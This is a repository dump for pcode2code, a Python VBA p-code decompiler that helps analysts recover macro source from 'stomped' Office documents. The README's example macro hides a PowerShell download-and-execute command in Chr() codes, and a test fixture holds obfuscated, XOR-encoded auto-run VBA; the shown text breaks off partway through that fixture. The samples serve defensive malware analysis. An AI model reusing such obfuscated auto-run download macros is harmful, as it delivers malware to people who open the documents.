├── LICENSE ├── MANIFEST.in ├── README.md ├── pcode2code ├── __init__.py └── pcode2code.py ├── setup.cfg ├── setup.py └── tests ├── Book123.xlsm ├── Book123_EvilClippy.xlsm ├── __init__.py ├── integration ├── __init__.py ├── assert │ ├── assert │ └── input ├── integration_tests.py ├── loops │ ├── input │ └── loops ├── macaroni │ ├── expected │ └── macaroni ├── mal1 │ ├── mal1 │ └── pcodedmp ├── more │ ├── input │ └── more ├── more2 │ ├── input │ └── more2 └── select_case │ ├── input │ └── select_case ├── integration_tests2.py ├── output.txt ├── output2.txt ├── see_other ├── tests4.docm └── tests4_EvilClippy.docm ├── tests2.xlsm ├── tests2_EvilClippy.xlsm ├── tests3.xlsm ├── tests3_EvilClippy.xlsm ├── tests4.docm └── tests4_EvilClippy.docm /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | a vba p-code decompiler based on pcodedmp 5 | Copyright (C) 2019 Nicolas Zilio 6 | 7 | This program is free software: you can redistribute it and/or modify 8 | it under the terms of the GNU General Public License as published by 9 | the Free Software Foundation, either version 3 of the License, or 10 | (at your option) any later version. 11 | 12 | This program is distributed in the hope that it will be useful, 13 | but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | GNU General Public License for more details. 16 | 17 | You should have received a copy of the GNU General Public License 18 | along with this program. If not, see . 19 | 20 | Also add information on how to contact you by electronic and paper mail. 21 | 22 | You should also get your employer (if you work as a programmer) or school, 23 | if any, to sign a "copyright disclaimer" for the program, if necessary. 24 | For more information on this, and how to apply and follow the GNU GPL, see 25 | . 26 | 27 | The GNU General Public License does not permit incorporating your program 28 | into proprietary programs. If your program is a subroutine library, you 29 | may consider it more useful to permit linking proprietary applications with 30 | the library. If this is what you want to do, use the GNU Lesser General 31 | Public License instead of this License. But first, please read 32 | . 33 | 34 | -------------------------------------------------------------------------------- /MANIFEST.in: -------------------------------------------------------------------------------- 1 | include LICENSE 2 | include README.md 3 | 4 | recursive-include tests * 5 | recursive-exclude * __pycache__ 6 | recursive-exclude * *.py[co] 7 | 8 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # pcode2code.py - A VBA p-code decompiler 2 | 3 | ## What is it? 4 | 5 | In 2019, [EvilClippy](https://github.com/outflanknl/EvilClippy) tool made easily available for any attacker to dispose of an Office document where the macro code is transformed directly into bytecode. For any reference, please check [this](https://medium.com/walmartlabs/vba-stomping-advanced-maldoc-techniques-612c484ab278) or [this](https://vbastomp.com/). To be able to analyze such "stomped" documents, Dr. Bontchev ([@VessOnSecurity](https://twitter.com/VessOnSecurity)) released [pcodedmp](https://github.com/bontchev/pcodedmp), a tool printing out the VBA bytecode of a document in a readable manner. However, the output might be still hardly readable and analyzable (please check out macaroni in tests folder). As such, pcode2code decompiles, based on [pcodedmp](https://github.com/bontchev/pcodedmp)'s output, the VBA code. 6 | 7 | ## Kudos 8 | 9 | Huge Kudos to Dr. Bontchev ([@VessOnSecurity](https://twitter.com/VessOnSecurity)) who made all the hard work. Just figured out how much time should have been needed for pcodedmp to work. 10 | 11 | ## example 12 | 13 | Let's consider a document, whose code is the following: 14 | 15 | ``` 16 | Sub Auto_Open() 17 | Dim exec As String 18 | Dim testvar As String 19 | Shell Chr(112) & Chr(111) & Chr(119) & Chr(101) & Chr(114) & Chr(115) & Chr(104) & Chr(101) & Chr(108) & Chr(108) & Chr(46) & Chr(101) & Chr(120) & Chr(101) & Chr(32) & Chr(73) & Chr(69) & Chr(88) & Chr(32) & Chr(40) & Chr(40) & Chr(110) & Chr(101) & Chr(119) & Chr(45) & Chr(111) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116) & Chr(32) & Chr(110) & Chr(101) & Chr(116) & Chr(46) & Chr(119) & Chr(101) & Chr(98) & Chr(99) & Chr(108) & Chr(105) & Chr(101) & Chr(110) & Chr(116) & Chr(41) & Chr(46) & Chr(100) & Chr(111) & Chr(119) & Chr(110) & Chr(108) & Chr(111) & Chr(97) & Chr(100) & Chr(115) & Chr(116) & Chr(114) & Chr(105) & Chr(110) & Chr(103) & Chr(40) & Chr(39) & Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(49) & Chr(48) & Chr(46) & Chr(48) & Chr(46) & Chr(48) & Chr(46) & Chr(49) & Chr(51) & Chr(47) & Chr(112) & Chr(97) & Chr(121) & Chr(108) & Chr(111) & Chr(97) & Chr(100) & Chr(46) & Chr(116) & Chr(120) & Chr(116) & Chr(39) & Chr(41) & Chr(41) 20 | End Sub 21 | ``` 22 | 23 | If you use pcodedmp on this document, you will obtain the following output: 24 | 25 | ``` 26 | VBA/ThisDocument - 2809 bytes 27 | Line #0: 28 | FuncDefn (Sub Auto_Open()) 29 | Line #1: 30 | Dim 31 | VarDefn exec (As String) 32 | Line #2: 33 | Dim 34 | VarDefn testvar (As String) 35 | Line #3: 36 | LitDI2 0x0070 37 | ArgsLd Chr 0x0001 38 | LitDI2 0x006F 39 | ArgsLd Chr 0x0001 40 | Concat 41 | LitDI2 0x0077 42 | ArgsLd Chr 0x0001 43 | Concat 44 | LitDI2 0x0065 45 | ArgsLd Chr 0x0001 46 | Concat 47 | LitDI2 0x0072 48 | ArgsLd Chr 0x0001 49 | Concat 50 | LitDI2 0x0073 51 | ArgsLd Chr 0x0001 52 | Concat 53 | LitDI2 0x0068 54 | ArgsLd Chr 0x0001 55 | Concat 56 | LitDI2 0x0065 57 | ArgsLd Chr 0x0001 58 | Concat 59 | [ .... -> 252 more lines like this] 60 | LitDI2 0x0029 61 | ArgsLd Chr 0x0001 62 | Concat 63 | LitDI2 0x0029 64 | ArgsLd Chr 0x0001 65 | Concat 66 | ArgsCall Shell 0x0001 67 | Line #4: 68 | EndSub 69 | ``` 70 | 71 | If you use pcode2code, the output will be the following: 72 | 73 | ``` 74 | stream : VBA/ThisDocument - 2809 bytes 75 | ######################################## 76 | 77 | Sub Auto_Open() 78 | Dim exec As String 79 | Dim testvar As String 80 | Shell Chr(112) & Chr(111) & Chr(119) & Chr(101) & Chr(114) & Chr(115) & Chr(104) & Chr(101) & Chr(108) & Chr(108) & Chr(46) & Chr(101) & Chr(120) & Chr(101) & Chr(32) & Chr(73) & Chr(69) & Chr(88) & Chr(32) & Chr(40) & Chr(40) & Chr(110) & Chr(101) & Chr(119) & Chr(45) & Chr(111) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116) & Chr(32) & Chr(110) & Chr(101) & Chr(116) & Chr(46) & Chr(119) & Chr(101) & Chr(98) & Chr(99) & Chr(108) & Chr(105) & Chr(101) & Chr(110) & Chr(116) & Chr(41) & Chr(46) & Chr(100) & Chr(111) & Chr(119) & Chr(110) & Chr(108) & Chr(111) & Chr(97) & Chr(100) & Chr(115) & Chr(116) & Chr(114) & Chr(105) & Chr(110) & Chr(103) & Chr(40) & Chr(39) & Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(49) & Chr(48) & Chr(46) & Chr(48) & Chr(46) & Chr(48) & Chr(46) & Chr(49) & Chr(51) & Chr(47) & Chr(112) & Chr(97) & Chr(121) & Chr(108) & Chr(111) & Chr(97) & Chr(100) & Chr(46) & Chr(116) & Chr(120) & Chr(116) & Chr(39) & Chr(41) & Chr(41) 81 | End Sub 82 | ``` 83 | 84 | 85 | 86 | ## Installation 87 | 88 | The script will work both in Python version 2.6+ and in Python 3.x. The simplest way to install it is from [PyPi](https://pypi.org/) with `pip`: 89 | 90 | pip install pcode2code -U 91 | 92 | The above command will install the latest version of `pcode2code` (upgrading an older one if it already exists) with `pcodedmp` as a dependency. Indeed, it permits to have all the functionalities of the tool. 93 | 94 | If you would rather install it from the GitHub repository, you can do it like this: 95 | 96 | git clone 97 | cd pcode2code 98 | pip install . 99 | 100 | ## Usage 101 | 102 | The script takes as a command-line argument either an OLE2 document which has been stomped, or the dump of a previously analyzed document with pcodedmp. In the latter, you should use the `-p` option. By default, the output of the processing is printed on console and should be valid VBA code. 103 | 104 | The script also accepts the following command-line options: 105 | 106 | `-h`, `--help` Displays a short explanation how to use the script and what the command-line options are. 107 | 108 | `-v`, `--version` Displays the version of the script. 109 | 110 | `-n`, `--linenum` Indicates if line numbers should be included within the output. Please pay attention the output code is no more valid as a VBA code. 111 | 112 | `-p`, `--pcodedump` Indicates if the input is a previously pcodedmp's dump. 113 | 114 | `-o OUTFILE`, `--output OUTFILE` Save the results to the specified output file, instead of sending it to the standard output. 115 | 116 | `-d`, `--debug` Used for debugging and development purposes. Here, exceptions are not handled making the script interrupted for any error. 117 | 118 | ## API 119 | 120 | The module can be imported as such in your python script (if it's in your path) 121 | 122 | import pcode2code 123 | 124 | While i let all functions to be available, the following function should be used: 125 | 126 | - `process(inputfile, outputfile=None, ispcodedump=False, linenum=False, isdebug=False)` : 127 | 128 | realize the decompiling operation on an input. 129 | args are the following : inputfile = file to be processed, outputfile = where to write, writes to stdout by default, ispcodedump = if the input file is a previous dump of pcodedmp use this, linenum : line numbers are to be printed in the output, isdebug : wether debugging mode should be used. 130 | 131 | Here is an example 132 | ```python 133 | import pcode2code 134 | pcode2code.process('~/evil.docm', 'output.txt') 135 | ``` 136 | 137 | ## Found a bug? 138 | 139 | Before submitting an issue, please checks the following point: 140 | 141 | - your error is a generic python error/ you have a "generic exception occured" printed on screen: 142 | - Well, just submit the error found, with the attached document. 143 | 144 | - you get some "Pcode2codeException" error: 145 | - First, run pcodedmp on your document, and locate the problematic line and the problematic opcode 146 | - Second, check if the opcode is already known to be problematic for pcodedmp (on its README) or if it's already in the known problems (below) 147 | - if not, please submit your document, the problem, as well as the corresponding output of pcodedmp 148 | - if yes, well you should just wait for a new version (or contribute by yourself :) ) 149 | 150 | - you cross-checked with the original program, and the output is wrong, even if not exception occured. 151 | - in this case, you should run pcodedmp on your document, and check first if pcodedmp output is meaningful (this tool relies on it) 152 | - if yes, then submit your bug with the document 153 | - if not, please ask @VessOnSecurity 154 | 155 | ## Known problems 156 | 157 | - all limitations of [pcodedmp](https://github.com/bontchev/pcodedmp) apply here 158 | - Enum are translated as Type, based on pcodedmp's output 159 | - the following bytecode commands are not supported now: scale, all commands related to index, implements, 160 | - any date literal or floating point literal is not transformed back to its original form (If you now how to transform the bytes into the literal, please contact me) 161 | 162 | ## Contributing 163 | 164 | I'm fully open to any contribution, as tiny as it is. Don't hesitate to mail me or to ping me on twitter. 165 | 166 | ## To be done 167 | 168 | - Provide a correct contributing guide, and make the code follows coding standards 169 | - There is always room for improvement, at least, it could be good to provide all correct opcodes translation 170 | - Provide a mean to detect automatically previous dump or OLE2 171 | 172 | 173 | ## Change log 174 | 175 | 21 nov 2019 : version 1.0 released 176 | 177 | 25 nov 2019: version 1.1 released 178 | - several corrections made based on @VessOnSecurity throw-back. 179 | 180 | ## Contributors 181 | 182 | - Zilio Nicolas, author 183 | 184 | 185 | ## To go further 186 | 187 | Obtaining the code might not be sufficient enough for an easy analysis. Don't hesitate to give a try to [SourceFu](https://github.com/Big5-sec/SourceFu) to deobfuscate the code, or create a document and use [ViperMonkey](https://github.com/decalage2/ViperMonkey). 188 | -------------------------------------------------------------------------------- /pcode2code/__init__.py: -------------------------------------------------------------------------------- 1 | from .pcode2code import * -------------------------------------------------------------------------------- /setup.cfg: -------------------------------------------------------------------------------- 1 | [bumpversion] 2 | current_version = 0.1.1 3 | commit = True 4 | tag = True 5 | 6 | [bumpversion:file:setup.py] 7 | search = version='{current_version}' 8 | replace = version='{new_version}' 9 | 10 | [bumpversion:file:pcode2code/__init__.py] 11 | search = __version__ = '{current_version}' 12 | replace = __version__ = '{new_version}' 13 | 14 | [bdist_wheel] 15 | universal = 1 16 | 17 | [flake8] 18 | exclude = docs 19 | 20 | [aliases] 21 | # Define setup.py command aliases here 22 | 23 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """The setup script.""" 5 | 6 | from setuptools import setup, find_packages 7 | 8 | with open('README.md') as readme_file: 9 | readme = readme_file.read() 10 | 11 | #with open('HISTORY.rst') as history_file: 12 | # history = history_file.read() 13 | 14 | requirements = ["pcodedmp"] 15 | 16 | setup_requirements = [ ] 17 | 18 | test_requirements = [ ] 19 | 20 | setup( 21 | author="Nicolas Zilio", 22 | author_email='nicolas.zilio@hotmail.fr', 23 | python_requires='>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*', 24 | classifiers=[ 25 | 'Development Status :: 2 - Pre-Alpha', 26 | 'Intended Audience :: Developers', 27 | 'License :: OSI Approved :: GNU General Public License v3 (GPLv3)', 28 | 'Natural Language :: English', 29 | "Programming Language :: Python :: 2", 30 | 'Programming Language :: Python :: 2.7', 31 | 'Programming Language :: Python :: 3', 32 | 'Programming Language :: Python :: 3.5', 33 | 'Programming Language :: Python :: 3.6', 34 | 'Programming Language :: Python :: 3.7', 35 | ], 36 | description="a vba p-code decompiler based on pcodedmp", 37 | entry_points={ 38 | 'console_scripts': [ 39 | 'pcode2code=pcode2code.pcode2code:main', 40 | ], 41 | }, 42 | install_requires=requirements, 43 | license="GNU General Public License v3", 44 | long_description=readme + '\n\n', # + history, 45 | long_description_content_type = 'text/markdown', 46 | include_package_data=True, 47 | keywords='pcode2code', 48 | name='pcode2code', 49 | packages=find_packages(include=['pcode2code', 'pcode2code.*']), 50 | setup_requires=setup_requirements, 51 | test_suite='tests', 52 | tests_require=test_requirements, 53 | url='https://github.com/Big5_sec/pcode2code', 54 | version='0.1.1', 55 | zip_safe=False, 56 | ) 57 | -------------------------------------------------------------------------------- /tests/Book123.xlsm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/Book123.xlsm -------------------------------------------------------------------------------- /tests/Book123_EvilClippy.xlsm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/Book123_EvilClippy.xlsm -------------------------------------------------------------------------------- /tests/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/__init__.py -------------------------------------------------------------------------------- /tests/integration/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/integration/__init__.py -------------------------------------------------------------------------------- /tests/integration/assert/assert: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/integration/assert/assert -------------------------------------------------------------------------------- /tests/integration/assert/input: -------------------------------------------------------------------------------- 1 | Option Explicit 2 | Private blnAssert As Boolean 3 | Private intNumber As Integer 4 | 5 | Private Sub Command1_Click() 6 | blnAssert = Not blnAssert 7 | intNumber = IIf(intNumber <> 0, 0, 1) 8 | Command1.Caption = intNumber 9 | End Sub 10 | 11 | Private Sub Command2_Click() 12 | Debug.Assert blnAssert 13 | End Sub 14 | 15 | Private Sub Form_Load() 16 | Command1.Caption = intNumber 17 | Command2.Caption = "Assert Tester" 18 | End Sub 19 | -------------------------------------------------------------------------------- /tests/integration/integration_tests.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import sys 3 | import os 4 | import pcode2code 5 | 6 | class Processor(): 7 | 8 | def __init__(self): 9 | pass 10 | 11 | def check_output(self, original, input_): 12 | debug = True 13 | originallines = original.splitlines() 14 | splittedinput = input_.splitlines() 15 | lines=[] 16 | outputval = True 17 | 18 | # we parse each lines, and cut them by line blocks, to put them in "lines" 19 | for inputLine in splittedinput: 20 | inputLine = inputLine.strip() 21 | """ 22 | if inputLine.startswith('Line '): 23 | lines.append(inputLine.split(':')[1]) 24 | """ 25 | lines.append(inputLine) 26 | 27 | if len(originallines) != len(lines): 28 | print '\t[!] Number of Lines differ\r\n' 29 | outputval = False 30 | 31 | i = 0 32 | defects = 0 33 | 34 | if len(originallines) > len(lines): 35 | for aline in lines: 36 | if aline != originallines[i].strip(): 37 | if debug: 38 | print('\t[!] line ' + str(i) + ' mismatch') 39 | print('\t[!] original line: ' + originallines[i].strip()) 40 | print('\t[!] current line: ' + aline) 41 | print('') 42 | defects += 1 43 | i += 1 44 | 45 | if len(originallines) <= len(lines): 46 | for aline in originallines: 47 | print aline 48 | if aline.strip() != lines[i]: 49 | if debug: 50 | print '\t[!] line ' + i + 'mismatch' 51 | print '\t\toriginal line: ' + aline.strip() 52 | defects += 1 53 | i += 1 54 | 55 | if defects > 0: 56 | print '\t[!] current mismatchs : ' + str(defects) 57 | print '\t[!] score : ' + str(100 - ((defects*1.0)/i)*100) +'%' 58 | outputval = False 59 | 60 | return outputval 61 | 62 | def readfile(self, path): 63 | return open(path, 'r').read() 64 | 65 | def process_tests(self, path): 66 | subdirs = [x[0] for x in os.walk(path)] 67 | subdirs.pop(0) # avoid base dir 68 | testsok = 0 69 | totaltests = 0 70 | for dir_ in subdirs: 71 | print '[+] processing ' + dir_ 72 | outfile = pcode2code.process(self.readfile(dir_ + '/' + os.path.split(dir_)[1])) 73 | expectedfile = self.readfile(dir_ + '/expected') 74 | r = self.check_output(expectedfile, outfile) 75 | if r: 76 | testsok +=1 77 | totaltests +=1 78 | print('[+] output: ' + str(testsok) + '/' + str(totaltests) +' tests succeeded') 79 | 80 | 81 | 82 | class TestOutput(unittest.TestCase): 83 | 84 | def __init__(self, *args, **kwargs): 85 | super(TestOutput, self).__init__(*args, **kwargs) 86 | self.processor = Processor() 87 | 88 | def testing(self): 89 | dirname, filename = os.path.split(os.path.abspath(__file__)) 90 | self.processor.process_tests(dirname) 91 | self.assertEqual(1,2) 92 | 93 | 94 | 95 | if __name__ == '__main__': 96 | unittest.main() 97 | 98 | 99 | 100 | -------------------------------------------------------------------------------- /tests/integration/loops/input: -------------------------------------------------------------------------------- 1 | Sub TestLoop5() 2 | Dim Reponse As String 3 | Reponse = InputBox("Entrez le mot de passe") 4 | 5 | Do While Reponse <> "youpi" 6 | Reponse = InputBox("Mauvaise réponse. Essayez encore") 7 | Loop 8 | End Sub 9 | 10 | Sub TestLoop4() 11 | Dim Reponse As Integer 12 | MsgBox "Début" ' Une seule fois avant la boucle 13 | 14 | Do 15 | Reponse = InputBox("Entrez un chiffre") 16 | Loop While Reponse = 5 17 | 18 | MsgBox "Fin" ' Une seule fois après la boucle 19 | End Sub 20 | 21 | Sub TestLoop7() 22 | Dim Reponse As String 23 | Reponse = InputBox("Entrez le mot de passe") 24 | Do Until Reponse = "youpi" 25 | Reponse = InputBox("Mauvaise réponse. Essayez encore") 26 | Loop 27 | End Sub 28 | 29 | Sub boucle_while() 30 | 31 | Dim numero As Integer 32 | numero = 1 'Numéro de départ (correspond ici au n° de ligne et au n° de numérotation) 33 | 34 | While numero <= 12 'TANT QUE la variable numero est <= 12, la boucle est répétée 35 | Cells(numero, 1) = numero 'Numérotation 36 | numero = numero + 1 'Le numéro est augmenté de 1 à chaque boucle 37 | Wend 38 | 39 | End Sub 40 | -------------------------------------------------------------------------------- /tests/integration/loops/loops: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/integration/loops/loops -------------------------------------------------------------------------------- /tests/integration/macaroni/expected: -------------------------------------------------------------------------------- 1 | module1 2 | ======== 3 | 4 | 5 | 6 | Dim lkvpupxa As String 7 | 8 | Dim lkvpupxa2 As String 9 | 10 | Dim lkvpupxa4 As String 11 | 12 | Dim hiz7dgus As String 13 | 14 | Private Const DefaultBufferSize& = 32768 15 | 16 | Private CRC_32_Tab(0 To 255) As Long 17 | 18 | Function giqw(str As String) As Variant: Dim bytes() As Byte: bytes = str: giqw = bytes: End Function 19 | Function e0jt(bytes() As Byte) As String: Dim str As String: str = bytes: e0jt = str: End Function 20 | 21 | Function smmoy975(str As String) As String 22 | Const p_ As String = "n4udh903" 23 | Dim sb_() As Byte, pb_() As Byte 24 | sb_ = giqw(str) 25 | pb_ = giqw(p_) 26 | 27 | Dim uL As Long 28 | uL = UBound(sb_) 29 | 30 | ReDim scb_(0 To uL) As Byte 31 | 32 | Dim idx As Long 33 | 34 | For idx = LBound(sb_) To uL: 35 | If Not sb_(idx) = 0 Then 36 | c = sb_(idx) 37 | For i = 0 To UBound(pb_): 38 | c = c Xor pb_(i) 39 | Next i 40 | scb_(idx) = c 41 | End If 42 | 43 | Next idx 44 | 45 | smmoy975 = e0jt(scb_) 46 | End Function 47 | 48 | Sub Auto_Open() 49 | lkvpupxa2 = smmoy975("""" & Chr(54) & Chr(48) & "") & Chr(16) & smmoy975("~" & "I" & "" & "+") & Chr(9) & Chr(14) & Chr(3) & smmoy975("6") & Chr(27) & Chr(19) & smmoy975(Chr(68) & "" & Chr(111) & "" & Chr(123) & "" & Chr(39)) & Chr(17) & Chr(13) & smmoy975("T" & Chr(92) & "Y" & smmoy975(Chr(36) & "") & "" & Chr(55) & Chr(43) & "n") & Chr(1) & smmoy975(Chr(65) & Chr(45)) & Chr(28) & smmoy975("t") & Chr(0) & smmoy975(Chr(111) & "") 50 | 51 | lkvpupxa4 = smmoy975("[" & "") & Chr(28) & smmoy975("W" & "" & "1" & "" & "G" & "d" & "") & Chr(30) & smmoy975("1" & "Y" & Chr(120) & "G" & Chr(56) & "[" & "" & Chr(42) & "") & Chr(17) & Chr(34) & smmoy975(Chr(115) & Chr(117) & "" & "t" & "") & smmoy975(Chr(36) & "") & Chr(6) & Chr(7) & smmoy975("[" & "") & Chr(127) & Chr(92) & Chr(16) & smmoy975("\" & Chr(124) & "") & Chr(31) & smmoy975("R" & "") & Chr(6) & smmoy975(Chr(89) & "@" & "") 52 | 53 | deuhdedek = smmoy975(Chr(77) & "" & "v" & "" & "9" & "" & "x" & "" & "z" & Chr(122) & Chr(124) & Chr(106) & "" & "j" & "" & "9" & "" & Chr(109) & "q" & "" & Chr(124) & "" & "9" & "i" & Chr(107) & "v" & "" & "m" & Chr(124) & "" & "z" & "" & "m" & "|" & Chr(125) & "" & "9" & Chr(122) & Chr(118) & "" & "w" & Chr(109) & "" & "|" & Chr(119) & "" & "m" & Chr(53) & "" & "9" & Chr(105) & Chr(117) & "" & Chr(124) & Chr(120) & "" & Chr(106) & Chr(124) & "" & "9" & Chr(124) & "w" & "" & "m" & Chr(124) & "" & Chr(107) & "9" & "" & Chr(109) & "" & Chr(113) & Chr(124) & "9" & "v" & Chr(105) & "|" & "" & Chr(107) & Chr(120) & Chr(109) & "p" & "" & "v" & Chr(119) & Chr(57) & Chr(122) & "" & "v" & Chr(125) & "" & "|" & "" & Chr(35) & "") 54 | 55 | Dim ch62aq9u As String 56 | 57 | ch62aq9u = InputBox(deuhdedek) 58 | 59 | If Len(ch62aq9u) <> 10 Then 60 | 61 | MsgBox smmoy975("N" & "q" & "" & Chr(120) & "m" & "9" & Chr(120) & "" & Chr(107) & Chr(124) & "9" & "`" & "" & Chr(118) & "" & Chr(108) & "" & "9" & "" & Chr(109) & "k" & Chr(96) & "p" & "w" & "" & "~" & Chr(57) & "m" & "" & Chr(118) & Chr(57) & "" & Chr(125) & Chr(118) & "9" & "" & Chr(122) & Chr(118) & "" & Chr(116) & "" & "k" & Chr(120) & Chr(125) & Chr(38)) 62 | 63 | End 64 | 65 | End If 66 | 67 | If CalcStr(ch62aq9u) = smmoy975("." & "" & "." & ")" & "." & "*" & ")" & "" & Chr(32) & "" & Chr(47) & "") Then 68 | 69 | lkvpupxa = smmoy975(Chr(82) & Chr(94) & Chr(91) & "" & "9" & "" & Chr(112) & "" & Chr(106) & Chr(57) & "" & "p" & Chr(116) & "" & Chr(105) & "|" & "w" & "|" & "" & "m" & Chr(107) & "x" & "" & Chr(123) & "u" & "" & Chr(124) & "5" & "" & Chr(57) & Chr(126) & "" & Chr(118) & "9" & "" & "x" & "" & "n" & "" & "x" & "" & Chr(96) & "" & "8" & "" & "9" & "[" & "" & Chr(96) & "9" & "" & "m" & "" & "q" & "" & Chr(124) & Chr(57) & "n" & "" & "x" & "" & Chr(96) & "" & Chr(53) & "9" & "" & Chr(96) & "" & Chr(118) & "" & "l" & "9" & "" & "r" & "p" & Chr(117) & "u" & "" & Chr(124) & "" & "}" & "" & Chr(57) & "" & Chr(96) & Chr(118) & Chr(108) & "" & "k" & Chr(106) & "" & "|" & "" & Chr(117) & Chr(127)) 70 | 71 | hiz7dgus = ch62aq9u 72 | 73 | ww8wn9l2 74 | 75 | Else 76 | 77 | lkvpupxa = smmoy975(Chr(74) & Chr(118) & Chr(114) & Chr(120) & "5" & "" & "9" & "" & Chr(112) & "" & Chr(57) & Chr(114) & "w" & "" & Chr(118) & "" & Chr(110) & "" & Chr(57) & "" & "`" & "" & smmoy975(Chr(111) & "") & "" & "l" & "" & Chr(62) & "" & "k" & "|" & "" & Chr(57) & Chr(119) & smmoy975(Chr(111) & "") & "m" & "" & Chr(57) & "" & "" & Chr(107) & smmoy975(Chr(111) & "") & "t" & "9" & Chr(82) & "^" & "" & "[" & Chr(56) & "" & Chr(57) & "" & "@" & Chr(118) & "" & Chr(108) & "" & Chr(62) & "k" & "|" & "9" & "X" & Chr(116) & "|" & "" & "k" & "p" & "" & Chr(122) & Chr(120) & "" & "w" & "8" & Chr(57) & "" & "@" & "" & smmoy975(Chr(111) & "") & Chr(108) & "" & Chr(57) & Chr(106) & "" & "r" & Chr(107) & "" & "p" & Chr(105) & Chr(120) & "u" & "" & "9" & "`" & Chr(118) & "" & Chr(108) & "" & Chr(107) & "" & "j" & Chr(124) & "" & "u" & "" & Chr(127) & "") 78 | 79 | hiz7dgus = ch62aq9u 80 | 81 | End If 82 | 83 | vkls0ddi 84 | 85 | bgfa0qmq 86 | 87 | hgn5rk3f 88 | 89 | End Sub 90 | 91 | Sub vkls0ddi() 92 | X0 = Asc(Mid(hiz7dgus, 1, 1)) 93 | 94 | X1 = Asc(Mid(hiz7dgus, 2, 1)) 95 | 96 | X2 = Asc(Mid(hiz7dgus, 3, 1)) 97 | 98 | X3 = Asc(Mid(hiz7dgus, 4, 1)) 99 | 100 | X4 = Asc(Mid(hiz7dgus, 5, 1)) 101 | 102 | X5 = Asc(Mid(hiz7dgus, 6, 1)) 103 | 104 | X6 = Asc(Mid(hiz7dgus, 7, 1)) 105 | 106 | X7 = Asc(Mid(hiz7dgus, 8, 1)) 107 | 108 | X8 = Asc(Mid(hiz7dgus, 9, 1)) 109 | 110 | X9 = Asc(Mid(hiz7dgus, 10, 1)) 111 | 112 | 113 | 114 | If (X0 Xor X3) = 48 Then 115 | 116 | If (X1 + X3) = 215 Then 117 | 118 | If (X9 - X1) = -68 Then 119 | 120 | If X4 < 101 Then 121 | 122 | If (X4 Xor 127) = 32 Then 123 | 124 | If (X1 * X4) = 9595 Then 125 | 126 | If (X7 + X1 + X5 - X6) = 243 Then 127 | 128 | If (X7 - X5 + X6) = 72 Then 129 | 130 | If (X7 + X5 + X6) = 238 Then 131 | 132 | If (X2 + X8) < 104 Then 133 | 134 | If (X2 + X8) >= 103 Then 135 | 136 | If (X8 + X1) = 153 Then 137 | 138 | If (X9 + X1 + X8) = 216 Then 139 | 140 | lkvpupxa = scramble2(lkvpupxa2) 141 | 142 | End 143 | 144 | End If 145 | 146 | End If 147 | 148 | End If 149 | 150 | End If 151 | 152 | End If 153 | 154 | End If 155 | 156 | End If 157 | 158 | End If 159 | 160 | End If 161 | 162 | End If 163 | 164 | End If 165 | 166 | End If 167 | 168 | End If 169 | 170 | End Sub 171 | 172 | Sub bgfa0qmq() 173 | X0 = Asc(Mid(hiz7dgus, 1, 1)) 174 | 175 | X1 = Asc(Mid(hiz7dgus, 2, 1)) 176 | 177 | X2 = Asc(Mid(hiz7dgus, 3, 1)) 178 | 179 | X3 = Asc(Mid(hiz7dgus, 4, 1)) 180 | 181 | X4 = Asc(Mid(hiz7dgus, 5, 1)) 182 | 183 | X5 = Asc(Mid(hiz7dgus, 6, 1)) 184 | 185 | X6 = Asc(Mid(hiz7dgus, 7, 1)) 186 | 187 | X7 = Asc(Mid(hiz7dgus, 8, 1)) 188 | 189 | X8 = Asc(Mid(hiz7dgus, 9, 1)) 190 | 191 | X9 = Asc(Mid(hiz7dgus, 10, 1)) 192 | 193 | 194 | 195 | If (X0 Xor X3) = 48 Then 196 | 197 | If (X1 + X3) = 215 Then 198 | 199 | If (X9 - X1) = -68 Then 200 | 201 | If X4 < 101 Then 202 | 203 | If (X4 Xor 127) = 41 Then 204 | 205 | If (X1 * X4) = 8686 Then 206 | 207 | If (X7 + X1 + X5 - X6) = 124 Then 208 | 209 | If (X7 - X5 + X6) = 127 Then 210 | 211 | If (X7 + X5 + X6) = 223 Then 212 | 213 | If (X2 + X8) < 118 Then 214 | 215 | If (X2 + X8) >= 117 Then 216 | 217 | If (X8 + X1) = 153 Then 218 | 219 | If (X9 + X1 + X8) = 186 Then 220 | 221 | lkvpupxa = scramble3(lkvpupxa2) 222 | 223 | End If 224 | 225 | End If 226 | 227 | End If 228 | 229 | End If 230 | 231 | End If 232 | 233 | End If 234 | 235 | End If 236 | 237 | End If 238 | 239 | End If 240 | 241 | End If 242 | 243 | End If 244 | 245 | End If 246 | 247 | End If 248 | 249 | z4xmcgar 250 | 251 | End Sub 252 | 253 | 254 | 255 | Sub z4xmcgar() 256 | x = 2 257 | 258 | If lkvpupxa = smmoy975(":" & Chr(74) & "" & Chr(108) & "" & Chr(105) & "" & "|" & "" & Chr(107) & "" & "Z" & Chr(56) & "" & "X" 